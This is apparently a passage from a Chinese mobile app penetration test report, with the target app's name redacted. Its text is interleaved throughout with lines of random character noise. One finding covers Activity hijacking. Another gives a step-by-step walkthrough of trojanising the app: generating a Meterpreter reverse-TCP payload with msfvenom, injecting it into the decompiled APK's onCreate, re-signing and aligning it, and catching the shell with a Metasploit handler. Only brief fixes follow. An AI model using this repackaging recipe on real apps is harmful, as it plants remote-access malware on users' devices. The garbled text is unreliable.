7 g+ ?4 ~: A' v1 ~/ n7 k/ q+ w - }. t& j" j( i& p* x1 r* b
( \& W9 `( q$ C0 H# v a0 ^
' |% I! ?; @* z* A( P; F: z4 o% k0 ~* y! R& ?/ N- e# @
9 o( w6 `* J; d* i* t7 V( `. B9 [: |: v4 D% q o
' F7 @0 |0 X4 F, Z d f
0 S% g& I5 _9 N4 t) F 表1-2 测试结果 $ ?0 r, j9 W+ R8 F1 E; _6 Q! U2 B
1 |- \( O& A$ d* t4 h& k: ?$ [; b
4 o, P) |/ A. @7 g! B+ _% r
+ r1 M) ?" `' k$ I( o. b3 w# e9 l& X
- c& J d$ M1 k/ e9 T
: d7 }; `, E* H# y. ?$ e
- R2 Q+ Q: _/ c$ n3 o+ U# |
+ B, _$ C! N* z3 l M: Z1 L; C
5 D- e% S$ w9 n" X9 b+ k- [1 j
; ?8 ?+ I$ g9 b$ L, C2 | # R* m2 S1 W7 y+ s# E8 F
5 D% b, g0 r8 ^9 `; ] 2 检测结果 ! A% W, z8 K/ k5 I
8 V6 ]/ M; B( U, U" N1 D* T
$ G, [6 }" V- a7 U2 o
" }" i/ h9 P" r
% b. y3 l- |0 N3 H# @3 h3 p! s/ o( A( z, w: F! p
2.1 某某某 * C, k+ z4 D0 s6 P9 a
' R% \' }1 ^3 n# n0 X2 u, M
, G& Q ~2 ?1 l, c
. b! i# i1 o0 R, c0 \6 ~3 a , ]1 U5 n0 B" h0 M1 v. g
3 R; Z4 z+ \' `* g. b8 y& g8 e& \
2.1.1检测目标 # j2 d% ^# d9 k: E) g1 ^( S
0 \8 T, E0 f( ]8 ^; H
; h: A J% d+ y K0 L3 I u5 W4 k/ P: t" a! q2 P
0 S$ E2 ^' l7 V4 P$ L) W
7 b0 J6 V( Z' a# D: V E
目标地址: 某某某某某某APP # P* `2 W+ X; M" B5 U5 U
0 `1 v; L, u% ~
7 u3 r" |. l1 T$ l% k8 e
5 [9 r5 ]3 b }: t# ?, p 6 r' p# h! z/ c9 _1 F
# I9 d* M0 @/ }: F5 ~. O 2.1.2检测结果 2 X* A3 W5 z3 d |" I
3 u ~2 h9 n7 X6 P( d2 F2 v
* ?! R6 |6 g6 d% a/ f4 a+ O3 c/ |2 P: b7 I
( b8 G8 @; S F* e& ^9 n, y
6 {* H6 z% I' w
2.1.2.1
' G @* e. \2 r5 B/ K6 H) V
/ |9 o5 x; ?, p8 i
; k5 F& P a8 Z. @' u4 E
; j' O H1 F$ }0 u$ D+ F
3 c- l+ X" O0 k' D, @/ g
1 W0 ]7 y6 H4 G) `6 Y1 W% B 漏洞链接地址:某某某某某某APP
- \! p1 U$ _: |4 z
) Z% y* L$ f% _0 w8 c8 T
1 z S1 _) q2 `( T& H+ k. x
; V e" c0 W4 |8 c! T
, W D1 I5 w* T' _1 o4 ~( Z: x+ ]+ x( s9 G0 }* ^
0 K5 `- F! H$ h% W& g
* H/ [ s2 i7 B- l+ m' n c
6 h" }5 R0 r2 A& W6 h9 Z
* C" o5 U: z8 @0 [4 i, \
6 ]+ x9 r, d4 p% N7 I! s/ b
% @, |; v- w" h! ]* C9 d; {
漏洞分析及取证: + Y! l% @; y- n/ t6 m
0 `; _5 G% h6 ?1 [. ?7 m
+ I& [7 }: ^9 x. H* ] ]( G2 U* x1 q5 w- T! I9 B: H/ [
( H) M, z7 F6 l% [6 e# f
# g' K4 `- Q( v2 p 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 0 I% a6 ?* y4 A0 C* t0 N0 [! u# W
8 d9 @& k4 ]; V! E; P) }0 O$ V9 ]
2 [0 m+ y! b( N' f% B1 b1 ?0 y- u0 W; W- b8 p, h- r2 L7 B# G# s' ^( e
8 K" C- A% F7 l/ [" F- h, Y' k' }) A
; o% Y, B# q0 B8 W9 V
* ^4 W0 m7 d' d l/ P: Z h: d2 M: G7 R
0 i: C6 b h- @+ R5 F+ D- N
& d1 ?5 D1 C0 L
3 \8 X( I5 p8 @6 J
% u) c" O1 H* b( f* _) [ W
& w4 X7 g6 p; H4 y
) T9 ~6 w" z# ~# M6 j
8 V6 Y+ x: T2 d4 H) D q" \' S5 @. Y. e
) ^* G1 u! k# |- S! w( M 8 B) Q0 {1 L1 {9 L
) Y9 p9 c& H/ V* u: B: p
$ I/ Y/ l% T' O, r
' t- K; C- v0 n# ~& e7 x1 w
# p# o, C* y: {3 K/ }& [
% P# ^' C" a: ~5 l/ O3 L3 u
" O( l b! L/ _# p2 _6 H4 s( H" @* d9 P4 e3 x( _
. W9 t% P+ b: D# }3 F' C- m8 ]: f4 {+ P: ]& z, @( L0 ?
' f' J' V; C# V B$ c9 k+ |& ]2 T2 w0 X) t5 g
" z7 | n: H5 O& p8 q" p9 Q; b) l' L: d0 x# P
, l. L: c' w, X q9 s& f( {3 z
& g$ k z' G8 L- z7 ?$ W! c, r( b2 P. S6 ~
/ z" Q9 ~; g2 v: g; n" W
' f' s9 ?3 r) z: y, } J7 s5 v 漏洞危害:高
, E2 R# x( m! p6 Q0 ^; L7 W. t# O$ O& Q/ d* R% [7 Z
5 c0 p1 a0 u% o! ]1 ^
& d7 p/ R+ a0 \ E% T/ ?, } # N" D8 M6 a7 A; W& P: e' s
2 |9 O5 H2 S8 D; w
@# L1 w; U3 e5 {$ X4 Z/ A, o
0 L/ ?7 K) q6 Q7 T2 T; h
0 @9 x6 B' J, Q
( z( P6 n# M' m$ r
- e( ^! H1 e* N. k# v* T- o2 H }3 F
& x0 a5 m( e2 T( O5 |. f% f
5 |! c+ \- t: t. o0 Z; Q
" E! P; T5 A* K! m7 `0 u
# p! d- x# b# @0 W- C' j4 J 严重程度
4 e: q, t: V, V5 S1 r5 F$ U8 J; o4 S4 j0 U0 J& M5 B# B
- y, [' K7 q3 l
* | B v1 d5 e7 [3 G2 V6 X
| 3 F5 D; G: @0 _) r. |
9 p" G2 J; ]% P4 `1 t , F6 y; ^/ h! }1 [
* l4 A+ }4 O. i9 J! y1 e8 Y
. P8 K! {" j6 r, ]7 n* x* o8 R( G- w0 @) {. O- V6 }$ f" ?
高 ( M5 ]! e! L# N7 U/ m
( C; |* G- w9 h9 r8 F* ` + \" s) q0 w: L# | v
1 V9 ]* Z' i* W: [; [ |
8 x* u2 G- }2 G& X9 `. g- Q1 j& p# Y# Z: @
1 J- d X- P. {% O
" q' V- P9 A& H( n , ] l* y& v# |: g. W
( n2 X% k% [- ^3 I7 M4 A+ }
■
$ Q6 p8 b* {' k( P* O
0 O5 d* ~, e! Y: s; B ' j) n3 D7 t; C: W+ A7 x3 m2 @9 S8 h
$ f, ]2 C Y& N' ?* D
| ( e% p( J4 K6 e$ `. S. p3 U7 @+ Z6 `
! Z% z( }8 a, c: W; {. [% `
# Q6 f) a! y' F I& }
9 w( V9 \! _" Y
N7 |# ?7 W0 q3 _4 e
4 X: W, d# g3 J8 E# \3 ? 中
7 |/ k% U4 A1 s* x! o* @+ R* ?
& s+ T' F9 P& X f" f8 c" o9 V ; H/ u3 D3 u; f, l+ {9 A9 z3 e1 W/ O4 X
! u( K! e, n. {0 u
| 4 K+ q B0 G( B2 |) [3 l
# X- _- \9 q* _
* ]3 O/ G2 g i0 n/ g5 N' u8 I
) Q7 v, O/ a' `& I" N! v ' o) e: \4 w1 z1 U) o$ ~7 Z1 ?; P
' W0 X( G# A5 ?- D6 S2 V $ R ~3 |0 s4 }$ u. p
2 g( ?6 p, ~1 C, w0 {0 u
% C$ z0 T3 }4 F+ s- y5 b0 j; k7 P$ j) @4 P1 C e4 U+ m
| k/ E; m6 D3 G) y: r1 p
3 ]7 q4 b) N' W, e& `
P/ ^9 h. m, W* e9 Q1 s0 }8 \5 `: e5 T4 F% O \8 B' q3 B
" U, k9 g- {0 v& c# g5 p9 ]
! ~! R2 R/ J8 e: t% u 低 4 D* z* @; a; q0 s$ D
7 Z% l% z% R; I! h: x
' |2 ]/ A% C/ S+ |
3 J6 N8 @# p* \. U | 8 ]- N$ n# n0 \* ~+ j
6 P* b# P* ~1 s1 u8 D; U
- ]; ?6 O# L) F; A# o. V9 x$ X# a) {
7 G: i% t3 \" o6 ]5 z& ?
5 y K( {1 B. q D$ b$ p: u" u ; G p5 _# f6 r1 c$ c$ k5 Q2 w/ ^7 @
8 g+ J, `& I1 v# O+ |7 }. ?
) F0 Y! }. y; L4 A! h
+ u; B2 Y& b7 ^9 b) G2 l; d) o7 L
| 0 h- G; m3 }, i6 A
l% [$ ]9 v5 d. C
1 ?" n5 @9 F' H2 w$ W" l
" t. g7 B. `7 \5 P- u7 l
3 l$ _6 \8 v0 b3 P* d6 W/ w ^) S$ g* b5 A$ z+ |& A% K9 d
0 U. c& ~% p8 g- T3 Y3 P1 B7 ?9 t8 ^5 ~
8 e# Q1 M& K$ Q+ `5 j. X8 l, @: B4 W; _% l6 a5 R# Y
2 e& S1 c0 k: M2 J) r; s
, |* Q& Q+ X8 \) ~) A) z- b# m
; q U! s+ g0 W/ u/ ^6 f2 c7 n
5 G1 s( c! S! |: a
2 R" {0 i2 h. |* Y, |
; A/ \5 G3 @; ~6 N. x2 L/ W % F# D# y: ^3 h
/ O; S" P2 U( [$ U7 g 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
( Z. g0 q0 p N0 l/ Q6 X, F( h4 B' n0 x* P9 ]8 l
: i& ~* t/ e0 g: ~
- x2 D7 ^1 b& t) B2 I
4 k' E. z, ^0 p# G) N) C) J3 P% D' [0 N* s) E2 {, [
0 a; y, _: s9 n! R1 U% J
# W; x; q3 ?3 l/ t( p4 m
" W! `; \# b9 b- M' w9 `' }
, P# z! s# ~3 ~7 O* d* T
" S" i! E; s- ~9 j
1 l. z3 I+ \. `. ^
8 H$ x3 c5 L3 z6 B* }. u0 S! h3 g( l1 i3 x% J1 b0 \. b
/ u+ B* c3 y6 U# l9 e
! H+ n8 S: `: u % O' ^+ ^% S5 l+ Z
8 c1 z) @) G! F$ m. K
2.1.2.2 , `5 ? S. A: W' E2 T
4 F1 a; T5 |6 P
% J1 F8 s' I$ s9 k7 p# {# e4 L; y. `0 X
7 z; w$ D5 ^8 q: ^- E: i) t! d6 J) i" z9 p5 I4 p* \; F: z: m" K
漏洞链接地址:某某某某某某APP
7 p4 D/ c6 D% a) H. a/ e9 D' Z* u- J5 l' G( k
6 b4 {/ k4 e L% o
! H/ }4 S/ o6 _
2 B* T/ D- J/ ~8 A k2 ]) L( O, [& W) ~" ~& H/ y" G9 w. p3 t
漏洞分析及取证:
/ r: Y& v3 A, T2 ?0 m7 ~0 [. I
9 ?! L7 V9 O# @! I
6 }: \( J/ c9 f- P
0 Q. @" Q1 J4 s& r( |
# D U' q9 U3 c; C0 F
, A% m3 c: Q* P8 \# d, c
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: # R. W+ i' r9 n% b9 s$ ]
0 X" s8 e! a* v% I x
: R6 a+ ?4 n3 ]: A% Y5 S3 \
8 y5 n8 K0 C3 `4 v 0 a1 Z, o/ Z( a! d- r
! z$ F; a) c9 F2 q/ B
用Metasploit 生成木马 apk 7 g2 r `( H7 l! d$ t C* J$ N
6 @4 w' M, _3 ?5 O% H9 c
5 k6 I" m- k/ f$ Q* a% z; p6 R/ q1 c. ^; y; \
4 k& ^7 ^6 k- Z+ T
. D* H) F3 B9 U/ V) m4 {5 l
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk * X7 U5 S* b: ?2 s3 e) ?
6 @- r( n7 a8 [+ C! y
4 C- Y: V6 H( @2 N( _
5 R7 k( }( d2 \+ e
3 w& }4 P' z7 B
4 l! ]; g1 L2 p8 u# \7 k
反编译目标apk和木马apk
1 Z1 Y; L n% h9 m& z" j1 ~0 g4 k. E5 @, b# [
5 {3 c# Y' `: _8 c
3 \+ i' q% z8 }+ B0 \& D: c1 S
( E' x; L3 ?+ w1 A: Z# o/ L$ m. l
apktool d target.apk
+ R! Z6 R" `9 ^$ \8 s" H) d( c. R) b# m! l6 L6 p
apktool d cockhorse.apk + f- y) Q- T( D) x
+ H0 F0 _8 n. [. @, r$ g
1 X4 e; O: R$ K0 g- n# u
9 _6 r1 H2 d" B' y
6 t0 I+ l8 |; g1 x0 M4 C, o% c+ ^- E# `, I7 S
木马 apk 注入目标 apk 1 }$ Q- V6 {1 X
( V' I" ^, c* e; Y
8 Z4 F: L& ]( \
7 J! X/ r/ ?: d/ P2 M
( B6 a# [ c7 y) P v: a) p2 t) a7 B) X2 i1 [* N3 H" X. I
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
T+ A0 J9 W/ I$ S: w4 f
: h, T2 C! S; m- C; J6 Z' B% \2 o invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
/ s8 p/ ^! y- m1 M$ \+ J
0 a" Z8 E' `5 D- d4 g5 e
+ r9 m7 v5 r, {' L, B$ m+ b& @7 ~; o8 H7 u* n6 q
' N9 g4 X7 q4 n+ `. A$ j& S0 h8 R7 |: i6 @
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
; |6 Q/ k. Y5 @* T1 M9 S P- ^& e, O/ {6 G/ J9 l) E! [% r; w0 H
- {# G4 G6 X, G1 V
$ L, X$ Y+ |. d2 s
}9 T! [. U6 [5 j. j7 H
( Q" v& f; n8 R8 ?( j
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
x& [+ @9 V) _9 r6 r8 K0 i3 {) O8 K3 Z: L$ j' o& b
; F6 g, f4 W# {' g, K& R
- q! z/ h, k! t , D$ l4 ? {5 o2 U2 U5 a
9 w, W4 X2 \9 ] 回编译生成最终 apk
- ]. p, J5 `8 D k8 G$ C* T% w7 N/ W& n
8 k* o0 T3 G( E( A' ?7 X, U. Q
0 [. j. g7 k. e 1 h; \$ B. }' y, g# f6 o) C" ^& [
; U6 _: k9 [9 v; n5 t: k. n
重新打包 7 r3 S2 R* |' k' `! ~6 t: |
: A' u3 T. d. L0 O+ o1 o
9 G' b/ }' d& X! I" J S5 J! ^; _2 _- w
: [0 p4 T. K6 K* V% Q/ z6 x- y, H. a3 Z: ?- B: L
apktool b -o repackage.apk target_app_floder
) S0 f. _" p) A3 v1 A. R3 s- m; f2 @6 {+ q. z4 O+ `
3 `+ w/ S) \2 e& g( @$ ~& H
0 l' h8 k" {* h- `
' _2 H: `/ [' v' B% |, N
7 j: x4 ^) k$ R+ ` 创建签名文件,有的话可忽略此步骤
l8 G4 h8 |( J9 h
/ N* T: C" j& R8 I5 B
8 r5 s* D+ K4 ]* R
$ S. W1 Q- x' a' m
+ Z0 e0 H8 L! q) n3 c
* p+ i, [9 ]$ i6 v% R# q( ?8 K keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 # k3 f! `: M7 ^# n! x
, Y: ^% B s8 r$ O& K' \
' J: {! X9 d! M" _$ c4 ]1 N4 @7 l& H/ F1 j, D
4 z* e4 {% V/ w9 ^( F+ X6 [9 D
U% @* ?5 L7 w1 B/ ]& y 签名,以下任选其一 6 B1 q' ]- K6 A& a: H6 V4 \
$ F3 S8 R0 V) A( }& h2 ~! O
* W2 |5 D: h+ c
/ |7 c, _7 f" {9 R. f( X" A 2 m0 H2 r" U! j! P/ o$ Y
# _5 ?& H: w4 | i# S jarsigner 方式 ) D; }3 E" b( p [
" Q+ U2 ~1 n1 b `6 R
0 {- \, p+ U1 y) I3 [
+ I- i+ t' g2 N! p
% M2 A! `6 [' ?9 C
7 Q( a; m: z& C2 v4 n; x0 ?' R jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname $ {- j6 J( D8 ~1 u9 f4 U
* W& y! i+ k( q, t S
2 x' s G4 o' ~0 L8 x+ O5 w
$ ?& S; N p& s( N5 ]
! O; h' e9 `; j3 |. ^& I4 g* H! E3 q( s
apksigner 方式
5 p+ S$ A$ T9 R, V
7 O1 H: u/ f$ I/ K. O4 I+ A5 w K
1 K9 e; c( u) \& D
c& `5 N* N- {. K
5 Q8 |$ l8 `: o" R& A& [: ?
* s# N# s. e- T$ t6 z1 w apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
5 r; x+ p, s7 G0 A" A+ I5 J$ v& y# `! P7 c% M9 U4 z
0 M- Y0 }* y+ q: @ o. i$ e/ U- \7 ^- T. x% C, z2 A! H
8 @' R) s; t \/ z4 v6 l5 r1 \7 l
& ~! W& Q8 e3 Q" X 如需要禁用 v2签名 添加选项--v2-signing-enabled false & i3 u. M3 D" m! Z) W3 I7 N9 n2 i3 \
/ i# X3 Y2 c0 D
; ? b# K5 [/ u& x! u8 j8 Y3 y6 I: q- G3 `2 W& x1 P3 E
% d! z' @( L6 d2 q5 l
: u$ k: z2 \* y: j& Z4 c9 S
验证,以下任选其一
3 U, O; {$ S4 G' Q& F; ^2 R0 ~$ |; |
2 n! l8 M0 A6 A8 e) r0 e1 D
4 B+ ~2 R! U$ i7 ]
, Q6 l1 Z7 Y7 v4 g. ~- ?4 M9 r% o
+ e( r2 o$ R+ m
3 V) \8 V+ m+ H, @( n* L' I( ^: O; d jarsigner方式
~7 H7 v, b' y2 b6 R3 c3 ]5 w" W: ]- Z9 k0 _8 ?
, K3 C* B9 {- q- b2 s; U
; S% D- l( I' M2 v* ?& K . o4 A# K5 {' w
1 ^" O7 C0 T4 ]* q/ S" z- m jarsigner -verify repackaged.apk 6 l! i" s& @& m( w5 b: {
! [) z* E+ T9 R
R5 q: I( `7 P! L9 f( {
; ^ a. F I) ~) Z: S
, s/ \' G$ v8 O f% k) K1 ~
3 f+ D; x. f" v7 r apksigner 方式
9 }8 j) O7 Q7 x( C; @, k
9 @0 k7 O* ?; l1 ?2 t9 ~: z8 s, G
% [6 R) F& y& }% W; B1 p' U. }3 g( O( C% N2 a7 W5 B* |" o# e
1 T9 v; M" z+ g$ U$ [# V8 r6 b5 `$ k7 W, ^5 z
apksigner verify -v --print-certs repackaged.apk 3 V; t: E* O& s% Q" h
! `9 o/ ?8 C$ @) S b
9 {9 T6 S- ~: ~/ R3 w/ R
2 T4 c$ M I; x4 Y7 b# b
/ o& D2 B" ]$ _( t( j; W1 T
! U& Y+ H. n/ C keytool方式
1 x F2 I: O$ S$ N
4 L2 u) i3 M& e+ I2 s' y
& t6 a6 @& }7 \1 T4 `: N
* d5 f3 `- C& D
/ E8 Y. m3 [( E4 x+ h, Z9 @) V
# Z& w- R$ v8 b2 ?+ i keytool -printcert -jarfile repackaged.apk
3 g5 I: t& y0 f. n2 d* m/ g( q5 Z! R1 p1 _& o8 X/ X6 V3 y L
9 k7 E# j* f! y; j
" S6 o2 Y( x4 H
$ O8 Z+ V2 l6 t3 I. C S2 @5 ^! e! |; M$ y0 `
对齐
& A+ F* y+ o4 o7 @
7 p' A+ A% w* O5 r9 h% d1 Z
: [4 `1 T' i/ ?: d \; E
! f6 ~1 N; T+ K5 w, ^! Y. D + [" P( Q7 t# A) t
* W8 ~9 ?0 K/ v! K 字节对齐优化 7 T, U' q$ _" c/ A1 F
4 _. Z) P; z2 R9 E& X% }) B, @7 j& d
! f$ V6 j' A6 B& \6 X) g! |4 P* X6 u1 a5 N$ Z1 n
7 {; d! I# K g+ i% ]/ ^6 p: o4 ~
/ t9 e2 ^) c. n$ R zipalign -v 4 repackaged.apk final.apk 1 u" h9 A3 ^8 r# w {8 }- m5 S& G
& \* M. }- D' H; d! N
+ J' L0 j5 ]/ G7 T3 k
, J: T$ F. Q* C1 t4 ?2 t
+ D* I' R5 X+ p' d& b% ?) G! X; c" {% k7 ^$ g$ o0 k: G% l
检查是否对齐 4 b) q$ z! Y b7 }2 G
4 _7 {9 S1 ~+ A$ g, R' V# l
L0 ~$ y; w% C- I5 g; {- B
6 U2 z" ~& F* n/ e6 D4 v' p# V: g
/ L) _7 }1 j8 q4 n, r$ p
' y5 i5 P/ q4 y5 f3 o zipalign -c -v 4 final.apk ' z3 y8 t: D6 ]5 J7 z. o2 A* t
% x7 }3 ] Y; J$ T! k6 m- o
0 `1 |7 G" k" x$ g w) Z0 k; i- m7 _1 \
0 P7 {5 J- p9 _9 `$ R/ t
* J; {% R& ?; b 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
1 I9 T, w- m: E5 _4 B
% o2 P$ y* v- g, H
- g& ?7 b8 U4 D4 h M6 V
; J& A4 o2 E ?. o; B9 Q( n- h5 c 5 z$ b [6 g6 Z0 E: ]( z
p4 z' ~% o3 N
启动Metasploit控制台,配置参数等待上线 & `7 y; ?; [* C" {' y
# F1 n8 \. m% Y4 u
1 j5 a W0 r) N8 q, _
* k0 x) o0 ?, {7 c$ ^
9 K4 a0 e, k" m. t7 U6 Z
5 T# W+ {* K% E) H/ z 在终端依次输入如下命令
( s& n+ b/ F) w7 L& c2 E# m
) Q* H# P0 i' A9 f9 |; _# u6 G# |
_% ]* i6 X; G
' }& i5 d% _) n' ]' f7 _ 9 D7 n( |! E% J9 I% _3 w1 A* U, |
7 s/ b F/ R5 a% f5 c! _" l+ e4 l
msfconsole
& g. [8 y5 A9 [. I; J
+ Q1 |' N( n, b) v6 k% p1 D
( F* u- T* j3 b* ?. L3 A" U
+ h. @! `1 z5 L) n) ?: ?- V# y. w
4 s6 {9 {# H, e+ `- g) v; u
0 G! I: I- k H2 o& ?2 k use exploit/multi/handler : f0 N/ }' u5 Y' D* s1 Y6 U$ `# W
6 D2 y2 g' C4 r$ p2 y. b% r x
L( z! }1 z: D- l) ?1 U4 V7 q+ t; r
, U9 B$ b, ^/ l
9 ~% b+ q" p( }9 M7 _% F9 m set PAYLOAD android/meterpreter/reverse_tcp / `3 y6 f; w9 w; s
; l$ M, \, _) L2 T
" d) w& l' {. w& o5 w7 m
- Y6 ~: ^; k; M
. K: M2 }- z: ~+ R+ _& ]
0 n' ^ q" S! Q, N6 H& x
set LHOST 192.xxx.xx.xx
8 T. r& R+ A) _, N; ?
' s% N& S2 F) m# f G( w _0 v$ n+ Y
1 R; o# Y5 X5 E
) G4 g; w8 T* l q4 D& D7 Q" v; u4 i6 |
: _8 |' M$ u5 n2 `! r
1 D( p5 D2 l3 n! W9 j set LPORT 4444
; x0 ?- S! k% g) o! {1 D! n ]
. R. @5 h6 W6 ~) A T: j& N
* e0 U" E0 l7 o2 D# V3 ~
h5 D! C, h! l* m
5 g0 M+ E5 b J: O1 q2 s
) ?8 ?2 e# v/ X0 E6 o5 v exploit " ~- G* G4 v4 q
0 g/ A7 p1 r& s4 Z, |
2 L+ o5 y/ n h/ M5 P1 \2 z, g: {0 Y! G
' t" L3 d/ F* Y2 u
( Y6 N9 L* v3 C3 u; g k' a
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
3 V6 I( X; P. A7 a/ H4 M' `: U6 `
, Q0 [" X2 \* k6 {8 D) o2 a
1 z I- H% M7 P6 s
! c3 n" D/ x, N$ Q
3 c* r q1 x4 R 漏洞危害:中
$ u% w/ d( Y! N/ X/ O6 x; g9 f4 f. V) o. ?# ^+ _
1 u6 J2 b# L- |- q& `+ S. f: B( R6 A; x7 l+ W$ _8 T
4 D+ ?" D% ~; j8 F
( X, Q+ w, H# T0 B+ n- o$ a" u( P
, k7 ~ m4 F' Q5 R$ g* c
+ F. M' Q7 {5 ~. r
- u! R( A% T2 q4 o. \* p: w0 y/ U* g1 Y* e* L, j7 E
) b) X# i, f* V+ i/ T( o) L6 W, W
# H" \! V5 y9 s k9 ?9 P# v
! g# W+ V: H6 X/ l
$ ?7 H& _. d% m% F/ |$ l4 }
+ s7 y* b9 G3 A. p4 c
& n$ q; b9 d2 V" Z$ Z 2 m \6 _- ?* U- q7 |; l* N
+ I( R! L3 z" k 严重程度 9 N5 Z% t( v* d# O/ _8 w& i
, I1 f: P: b+ ^5 \# m, y
8 r, b1 f5 r* W3 U: i/ N. E } m
/ P0 h8 N: o5 P. Y |
( Q! s5 ^: D* b/ l) J$ B* s9 x
7 l7 S9 V4 w3 y' D5 y: a: M p0 t5 l 1 r5 R9 v6 L8 b& ?7 e' F h
5 V; a1 z8 S1 R8 A) X* X 5 X0 H: w! X' a/ q5 m& b+ Y) X
N3 s+ v) d* `1 g
高
8 ?; L( e4 k& j7 Y2 ~2 X L2 B q/ ~5 e8 m- t# z6 F( @
; g6 y T2 W2 q0 G6 o% U
% P1 m- I) Q' L$ a. B |
& S! ~& F" J+ r% N4 M+ w G$ {6 z) t) g( Z
0 F Q" w- d8 {/ x' ]
% \' K4 g2 m, H1 Y
9 X# W: M7 h6 C3 o7 u4 ~& u2 q
^ L2 q" R/ _( _) U$ T3 q ■
+ R1 z. t1 u7 t3 j+ Y1 U
" T$ M5 F4 J6 ]6 h3 e
8 q5 q+ W9 f+ L- |+ S
" S( S" l7 f) t | ; N2 w/ j. p$ V' ~/ b5 X
' L/ Y( K& k7 j. V* g
9 q# R+ u& m- Z& y( }" D$ h; F3 h8 L
" B% N: F5 V! [ & Y R# U2 Z6 o* Y1 e
* L) z$ T* Y* ]3 v
中 ) E9 [5 v6 B) A
3 v3 P# J8 [" p: n" Z" J: D; e2 m" x 7 j4 ^3 B- k% W: _
; y( v8 n6 Z. Z6 G+ g9 t$ R1 B
|
( _0 g5 c) f# W! z$ p5 V( I( d- Q1 E3 E' A& ?
: r8 e6 Y/ Q# ~2 m, n4 Y, E
' b2 H- x5 ]2 M
) Q) g9 O2 W4 k3 r/ u' m
( [. |. x3 b- L , e" Z/ B# ~1 z) r2 H) P+ b B
' v( D0 ?9 Z# S1 M+ y) S! `
+ i) L3 @9 k3 Y# i9 A6 C; v. j, u5 u: E$ `8 M
{& S0 \1 n: l% ^( G3 e% Q: B( J/ G- U& k, j
|
/ u( d" y; j5 s! c, k3 v( m$ O8 V1 {, P b/ P9 f+ y
o$ q1 s% n! x1 _ B( h
4 B/ _! Y- `8 c# h; K! k ' |# J% C6 j# Z- c) o6 M! D
9 y/ r7 G& D# Q% L5 X7 H; v0 { 低 9 R U0 G9 w* l. x: R1 G ]
+ w+ Y3 m& |2 Z- T5 r2 b+ z
8 N$ P3 v |7 \% O
) M8 `' U. s8 w | 9 v; `! G6 E4 j, d) `
' q& {4 X! f& [0 e* H( }
* g. P4 T; q. p* G1 u2 W0 S- b
/ i* V0 n2 e6 E* W$ ]( g 6 k Q9 h4 R8 S5 O9 T7 ^" j
! d5 n* @7 k& Y- G: [' o+ w
$ p1 T* N8 z5 w- p* {5 Q: n# l
! e! G8 J9 W; v {* F ) ?5 W/ R* s( c& P
! {* J: o8 c4 U+ o2 A% s ( q0 Y6 B. x2 S8 V$ `2 v2 N8 W+ d0 p
: C7 D9 g% d' k( b6 ^8 l
|
' o6 Y% G E! F! W \1 w' e' H( ]! z: y; u0 e
0 W( I% H% u+ ~1 z" D7 y8 ^: H
4 w, T q+ t/ i9 T
k/ f7 M% |. I$ q( K g) z/ S
! z8 u& f4 X( `3 H7 d- E
+ S4 Y- B, w" i! i! n8 ]
) e: K; p2 d {* Y5 v# g
4 n0 W4 M" ~( i0 k! E2 y5 `. A
1 i u% \) S, t
) ^9 H0 R/ z/ u: i! d/ l
9 p6 p" {5 k* \" L* y: y+ _+ B9 i % X1 j9 Y' w( I9 Y* A. c
# q# A( n7 S$ N; K, }* P
6 w9 }8 y* f, A' U+ f
+ e- R- v2 U1 \9 {) K! y
* M0 g7 B& d n
5 p0 [; w5 _# b) C" w. k
修复方法: : h4 |2 B& B1 `# I0 S+ m
4 Z9 I8 b+ S/ ~& O0 x* @( B$ W3 l' m
# q; Y4 r: j/ v! p9 v
9 Y0 m% B/ {4 G) h, v( ]. o" n $ d& C7 `- X* c- d0 ~7 E
/ n4 N. l( G! M- k4 [, u# T 1.在 APP 启动时应做签名校验防止二次打包。
6 E/ _8 R- X u8 Z4 ^4 W" E( ]5 A
6 a) d" Z7 G; _8 G( V0 G 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
" F0 D! I( j- G) ?) [
$ M/ o& n8 J2 L F5 g' w3 C/ l# b* r
0 _( ?9 B7 e/ B+ G( y2 Q9 t' Q9 z9 q. W7 J# s6 v
: c) q* n4 \$ u6 p! p6 o1 ^, G' L
9 S) `; {# P6 t" ~7 X$ W: y V! q7 i
& |. B9 B7 ~' j5 ]8 T: H
% j* s9 |- B [0 [8 C1 K " z) {3 S9 F `6 N7 g2 G+ Y
& B: A |; ]3 \" @$ V* K/ J
9 P. |: l$ ^- a; u' w0 @( ^/ C: f9 T0 t: g( V% L% x( q) I
9 k2 Q9 c* q* }4 g5 T0 t" Z5 M/ u5 T: w9 V! U' K6 Q. I
* B- g* g, f3 L8 f; \* J
: w% s, q c: G9 V1 s
% B1 k5 n& t) e
1 Y* `9 |+ h/ F, o/ S: i
3 Q& M/ u/ W$ Y: Z7 ?0 }; Y5 c4 A$ p